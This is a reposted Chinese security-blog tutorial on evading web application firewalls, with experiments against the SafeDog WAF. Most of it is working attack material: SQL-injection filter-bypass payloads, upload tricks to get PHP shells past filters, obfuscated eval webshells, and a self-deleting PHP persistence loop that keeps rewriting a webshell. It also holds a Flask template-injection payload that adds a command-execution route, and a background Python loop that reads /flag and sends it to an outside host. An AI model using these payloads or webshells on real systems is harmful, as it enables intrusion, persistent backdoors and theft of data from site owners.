详细|waf绕过学习
2023-6-11 22:4:48 Author: Z2O安全攻防(查看原文) 阅读量:35 收藏

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

写在前面

本文来自 【网络安全学习圈】圈内师傅的学习成果,已将其入圈费用返还,如果你也想一块学习,欢迎加入。圈内规划了数个月的学习内容,并提供相应的学习资源和建议,以及一个浓厚的学习氛围。点我了解详情

知己知彼

WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园[1]

  • • 规则引擎分为两块,对请求过滤和对响应过滤,而对请求过滤分为两大步,网络层过滤和应用层过滤。

  • • WAF每条规则都会配置动作,对命中规则的请求进行对应的处理。

分类

image-20230516142728508

本文以安全狗为例子进行简单学习

部署位置

enter image description here
请求 → CDN → 云waf → 硬waf → WEB服务器 → 软waf → WEB应用程序(代码waf) → (数据库)

储备知识

waf了解
各种语法
http协议
web服务器特性

WAF绕过

实验环境

没有在代码中进行过滤,如有会说明。

win  10
php  5.6.9
mysql 5.7.26
apache 2.4.39
safe dog V3.5 

配置如下

image-20230516235356524
image-20230516150636839

特征

image-20230517003655268
image-20230517100649383

迂回作战

主打一个侧面绕过,利用各种缺陷和特性使得waf没有解析到payload,不与waf的规则和策略硬刚

Web服务器特性

Web服务器解析与waf解析不同绕过

IIS+ASP

  • • %对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本处理时会将其忽略。

    select  →  se%lect

  • • unicodeIIS会自动解码unicode

tomcat

/path1/path2/ == ;/path1;foo/path2;bar/;

参数污染

传递多个相同参数,利用waf和web服务器解析的参数不同来进行绕过

Web 环境参数获取函数获取到的参数
PHP/Apache$_GET("par")last
JSP/TomcatRequest.getParameter("par")first
Perl(CGI)/ApacheParam("par")first
Python/Apachegetvalue("par")["first","last"]
ASP.NET/IISRequest.QueryString("par")first,last

Web应用程序层

Web应用程序层(后端代码)解析与waf解析不同

waf没有根据后端代码来修改策略和规则

编码

对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。

json数据支持unicode编码

多数据来源

web应用程序从多个地方取值,如

# php
$param = $_SERVER['xxxx']

可以从GET,POST,HEADER,METHOD等地方获取用户提交的参数。

如果waf只对GET,POST进行检测,没有与后端相适应,就可以绕过。

HTTP协议

分块传输

Burp插件:https://github.com/c0ny1/chunked-coding-converter

Transfer-Encoding: chunked  # 表示BODY的传输编码方式为chunked(无Content-Length字段)

3 # 指明传输的数据长度
a=1
0 # 表示传输结束

实验

$_REQUEST['id'] 失败
$_POST['id'] 成功

keep-alive

http长连接,发送多个数据包请求,感觉跟请求走私很像

Connection: Keep-Alive

需要关闭

image-20230517113339255

multipart/form-data

推荐阅读

http://www.moonslow.com/article/tencent_waf_bypass

想办法让WAF以为我们是在上传文件,而实际上却是在POST一个参数,这个参数可以是命令注入、SQL注入、SSRF等任意的一种攻击,这样就实现了通用WAF Bypass

何时是上传文件?何时是POST参数呢?这个关键点在于有没有一个完整的,连续的**filename=**,中间可以插入\r\n或者\n

image-20230518163001348

畸形请求方法

抓包,然后修改请求方法

chrest编码

content-type: charest=cp037
ibm869
ibm870
ibm871
ibm918
iso-2022-cn
iso-2022-jp
iso-2022-jp-2
iso-2022-kr
iso-8859-1
iso-8859-13
iso-8859-15

waf特性

部署方式,策略与规则缺陷

云waf

img

通过改变用户域名的DNS解析地址来将Web流量牵引到云WAF引擎集群,经过检测后再回源至真正的Web服务器。

img

所以如果可以找到目标的真实ip,就可以绕过云waf。

性能缺陷

高并发

用Burp的Trubo Intruder插件,失败

而且高并发很可能会造成业务系统出现问题。

脏数据

为了防止消耗太多的CPU、内存资源,因此许多WAF只检测前面的2M或4M的内容。所以可以通过填充垃圾数据进行绕过。

实验

POST
id=1 union select 1,2,3%23
image-20230516150951130

安全🐕在HTTP BODY中检测到了关键字,直接返回500。。

POST
a=8172*A&id=-1 union select 1,2,3%23
image-20230516151625299

注意

waf可能直接检测长度来拦截

如安全🐕,GET下是不行的

image-20230516151807403

白名单机制

  • • 文件白名单

    一些 WAF 为了保证核心功能如登陆功能正常,会在内部设立一个文件白名单,或内容白名单,只要和这些文件或内容有关,无论怎么测试,都不会进行拦截。如:WAF 设立了白名单/admin,那么我们的测试 payload 可以通过如下的手法来绕过

    # 原来被拦截
    http://a.a/?id=123 and 2*3=6
    # 现在不拦截
    http://a.a/?a=/admin&id=123 and 2*3=6

  • • IP白名单

    后端通过Header字段获取源IP

    X-FORWARDED-FOR等

  • • UA白名单

    某些WAF可能为了不影响站点的SEO优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。

    User-AgentUA收集:https://www.0735.pro/archives/study/51.html

静态文件绕过

一些 WAF 为了减少服务器的压力,会对静态文件如.png.css等直接放行,那么我们可以尝试伪装成静态文件来绕过

# 原来被拦截
http://a.a/?id=123 and 2*3=6
# 现在不拦截
http://a.a/?1.jpg&id=123 and 2*3=6

请求方式

  1. 1. 一些 WAF 对于get请求和post请求的处理机制不一样,可能对 POST 请求稍加松懈,因此给GET请求变成POST请求有可能绕过拦截。

  2. 2. 一些 WAF 检测到POST请求后,就不会对GET携带的参数进行过滤检测,因此导致被绕过。

FUZZ

fuzz大法,使用脚本去探测WAF设备对于字符处理是否有异常,一些WAF可能由于自身的解析问题,对于某些字符解析出错,造成全局的bypass

测试点

1):get请求处 
2):header请求处 
3):post urlencode内容处 
4):post form-data内容处

基础内容

1)编码过的0-255字符 
2)进行编码的0-255字符 
3)utf gbk字符

正面硬刚

增增改改混淆视听,使waf的规则和策略失效

基本方针

  1. 1. 增删测试waf容忍度,确认关键点

  2. 2. 本地FUZZ PAYLOAD,先保证可以绕过检测

  3. 3. 再次进行构造使得后端能够进行解析

sql注入

简单fuzz

image-20230517001306283

可以发现不会对单一的关键字进行过滤,会对一些组合进行过滤

union select绕过

union (select)
UNiOn/*/1/*/select
UNiOn--+%02%0d%0aselect    #注释换行
?id=-1 UNiOn/**/select 1,2,3#
image-20230516154023102
?id=-1 UNiOn/*/1/*/select 1,2,3#
image-20230516154137250

/**/中插入/x/即可,x至少为一个字符

函数绕过

?id=-1 union/*/1/*/select 1,2,database()--+
image-20230516221518813
?id=-1 union/*/1/*/select 1,2,database/**/()--+
image-20230516221551123

FUZZ结果

image-20230517000942363
image-20230517000931846

select from

硬刚G

分块传输,脏数据等成功

文件上传

waf检测内容

请求的url
Boundary边界
MIME类型
文件后缀名
文件头
文件内容
访问流量

文件上传数据包

Accept-Encoding: gzip, deflate
    
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl

------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php
phpinfo();?>

------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundary9zWBDx6vAJHGTpAl--

boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl 定义了BODY中的分界线(因为是谷歌浏览器,所以分界线为----WebKitFormBoundary加上随机字符串)

--boundary

--boundary   # 每两个分界线之间是具体的内容:文件上传,post参数

--boundary--  # 结束标志

安全🐕测试

  • • 不允许php后缀上传

  • • 上传时,不检查文件内容

  • • 访问时,不允许访问含有恶意内容的php文件

绕过后缀

Content-Type: multipart/form-data; boundary=a

增加多个boundary
php:可以在boundary前后添加任意字符
大小写
boundary=boundary=a

Content-Disposition: form-data; name="upload_file"; filename="shell.php"

操作:
大小写
Content-Disposition 任意位置换行,空格,脏数据溢出,多个Content-Disposition,form-data(删除,改为*)
多个filename,多个;
文件名单双引号数量
content-type(增删,设置charset)
多个BODY
多个boundary
交换name和filename的顺序
排列组合

Accept-Encoding: 
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflate
Accept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *

Windows

  • • NTFS 流文件流 (本地文件系统) - Win32 apps | Microsoft Learn[2]fuzz可以的::$DATA
    ::$INDEX_ALLOCATION

    20171227163716-2507a226-eae1-1
    image-20230517195752567
  • • 文件名文件名尾加任意个. 或者任意个空格(对文件名无影响)

    windows文件名的保留字符(不允许出现)
    \/:*?" <>|
    可以尝试在文件名后加上这些字符

    当filename=shell.php:.jpg
    结果:
    可以上传shell.php,但是会吃掉文件内容。。。
    其他的要不不可以,可以的话,上传的文件名为.jpg

image-20230517155239619
  • • 文件名长度截断超长文件名windows文件名:长度限制完全限定文件名必须少于260个字符,目录名必须小于248个字符linux文件名:linux中文件名最长为255字符,文件路径最大长度为4096字符如果后端脚本没有限制上传文件名长度,可以通过多次测试,上传名为aaaaa…(200+).php.jpg,把最后的.jpg挤出去。

部分成功的,好绕

waf是解析最后一个参数,最后一个;后面的,但是如果最后一个;后面没有参数,

后端就取前一个,waf识别到空

filename=shell.php;
image-20230517144614924
filename='shell.php'# 双引号不行
image-20230517144541805
Content-Disposition: form-data; name="upload_file";filename=shell.php

除了shell.php处,其他地方加换行,或脏数据都可

image-20230517145839048

删除content-type

image-20230517153416749

增加boundary

image-20230517175433650

安全🐕+代码白名单(后缀只允许图片)

上面任意一个绕过(除了;绕过)+

filename=shell.php::$DATA.jpg

绕过文件内容检测--免杀

安全🐕的内容检测随便改一下就过了。

<?php
class test
{
    function __construct($cmd){
        @eval($cmd);
    }
}
$cmd=$_POST['a'];
// $cmd = base64_decode($_POST[1]);
$foo = new test($cmd);
?>

绕过流量

测试时

system("xxx"#命令执行限制
image-20230517211700124

对流量进行一个base64加密即可

webshell

<?php
class test
{
    function __construct($cmd){
        @eval($cmd);
    }
}
$cmd=$_POST['a'];
$cmd = base64_decode($_POST[1]);
$foo = new test($cmd);
?>

蚁剑

编码器

data[pwd] = Buffer.from(data['_']).toString('base64');

选择编码器

image-20230517211627163

webshell免杀

  • • waf检测

内容、创建日期、文件大小、通信流量特征
对于静态引擎的绕过,可以通过拆分关键词、
加入能够引发解析干扰的畸形字符等;

而对于动态引擎,需要分析它跟踪了哪些输入
点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则

另类的入口
各种混淆(编码加密,进制转换,反序列化...)
符号干扰,绕过正则,拼接null,\n,\r,\t等
信息差绕过(加入外部因素后才是webshel,量子WEBshell😋)比如截取文件名,目录名,传入随机数种子等
  • • 传统webshell

学习:

WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云[3]

https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/webshell%E5%85%8D%E6%9D%80%E6%80%BB%E7%BB%93/

收集:

https://github.com/tennc/webshell

  • • 无文件落地--内存马

python

https://xz.aliyun.com/t/10933#toc-4

通过注册路由处理来实现注入

# flask 1.x 是可以的
?name={{get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/khaz', 'khaz', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('cmd')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})}}
/khaz?cmd=whoami
image-20230531192216503
# 僵尸进程 记得编码
system("python3 -c \"while 1:exec(\\\"flag=__import__('os').popen('cat /flag').read()[:-1];print(flag);io=__import__('requests').get('https://ctf.bugku.com/pvp/submit.html?token=67c0d48c49a89cc434b2f95da944e759&flag='+flag);print(io.content);__import__('time').sleep(600);\\\");\" & ");

僵尸进程 : 子进程先于父进程退出,父进程又没有处理子进程的退出状态,此时子进程就会称为僵尸进程。

父进程通过sleep(600)保证子进程优先于父进程退出

(77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客[4]

php

<?php
  set_time_limit(0);
  ignore_user_abort(1);
  unlink(__FILE__);
  while (1) {
    $content = '<?php @eval($_POST["123"]) ?>';
    file_put_contents("snert.php"$content);
    usleep(10000);
}
?>

通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。

流量绕过

弱特征:HTTP Header
request和response内容

参考之前HW看的文章

  • • 哥斯拉【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户[5]

  • • 冰蝎利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区[6]冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏[7]冰蝎4.0自定义加密 - 先知社区[8]

  • • 蚁剑https://www.yuque.com/antswordproject/antsword/yuakxl

参考文章

https://xz.aliyun.com/t/368

https://xz.aliyun.com/t/10515

[Bypass WAF Cookbook - MayIKissYou](https://wooyun.js.org/drops/Bypass WAF Cookbook.html)

https://www.anquanke.com/post/id/203880

玄武盾的几种绕过姿势 - 先知社区[9]

引用链接

[1] WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园: https://www.cnblogs.com/realjimmy/p/12937247.html
[2] 文件流 (本地文件系统) - Win32 apps | Microsoft Learn: https://learn.microsoft.com/zh-cn/windows/win32/fileio/file-streams
[3] WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云: https://cloud.tencent.com/developer/article/1625439
[4] (77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客: https://blog.csdn.net/Freshduke/article/details/111544319
[5] 【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户: https://www.freebuf.com/sectool/285693.html
[6] 利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区: https://xz.aliyun.com/t/2744
[7] 冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏: https://www.secpulse.com/archives/195173.html
[8] 冰蝎4.0自定义加密 - 先知社区: https://xz.aliyun.com/t/12453
[9] 玄武盾的几种绕过姿势 - 先知社区: https://xz.aliyun.com/t/11607#toc-1

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

点个【 在看 】,你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247497859&idx=1&sn=41037773ef642df80ae90af8a0d4e5fa&chksm=ceab13c3f9dc9ad59c947f145fb6947a22a84afeb99b5cc34853925d4e507a5c24c2caf217a7#rd
如有侵权请联系:admin#unsafe.sh